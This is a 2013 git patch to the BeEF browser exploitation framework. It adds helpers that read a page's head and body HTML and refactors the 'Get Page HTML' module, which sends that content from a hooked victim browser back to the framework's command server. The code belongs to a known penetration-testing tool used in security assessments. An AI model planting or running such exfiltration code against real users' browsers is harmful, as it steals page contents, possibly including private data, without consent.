From 8e6751611d9578163dd34050232de9b184102711 Mon Sep 17 00:00:00 2001 From: bcoles Date: Sun, 13 Oct 2013 03:37:15 +1030 Subject: [PATCH] Add `beef.browser.getPageHead()` and `beef.browser.getPageBody()` Update 'Get Page HTML' module to use these functions Tested on IE6, FF22, C28 Fix issue #518 --- core/main/client/browser.js | 24 +++++++++++++++++++ .../hooked_domain/get_page_html/command.js | 13 +--------- 2 files changed, 25 insertions(+), 12 deletions(-) diff --git a/core/main/client/browser.js b/core/main/client/browser.js index 10c5c7f51..360b2e0eb 100644 --- a/core/main/client/browser.js +++ b/core/main/client/browser.js @@ -1935,6 +1935,30 @@ beef.browser = { return foxitplugin; }, + /** + * Returns the page head HTML + **/ + getPageHead:function () { + var html_head; + try { + html_head = document.head.innerHTML.toString(); + } catch (e) { + } + return html_head; + }, + + /** + * Returns the page body HTML + **/ + getPageBody:function() { + var html_body; + try { + html_body = document.body.innerHTML.toString(); + } catch (e) { + } + return html_body; + }, + /** * Dynamically changes the favicon: works in Firefox, Chrome and Opera **/ diff --git a/modules/browser/hooked_domain/get_page_html/command.js b/modules/browser/hooked_domain/get_page_html/command.js index b13096594..10540eb9d 100644 --- a/modules/browser/hooked_domain/get_page_html/command.js +++ b/modules/browser/hooked_domain/get_page_html/command.js @@ -6,18 +6,7 @@ beef.execute(function() { - try { - var html_head = document.head.innerHTML.toString(); - } catch (e) { - var html_head = "Error: document has no head"; - } - try { - var html_body = document.body.innerHTML.toString(); - } catch (e) { - var html_body = "Error: document has no body"; - } - - beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body); + beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+beef.browser.getPageHead()+'&body='+beef.browser.getPageBody()); });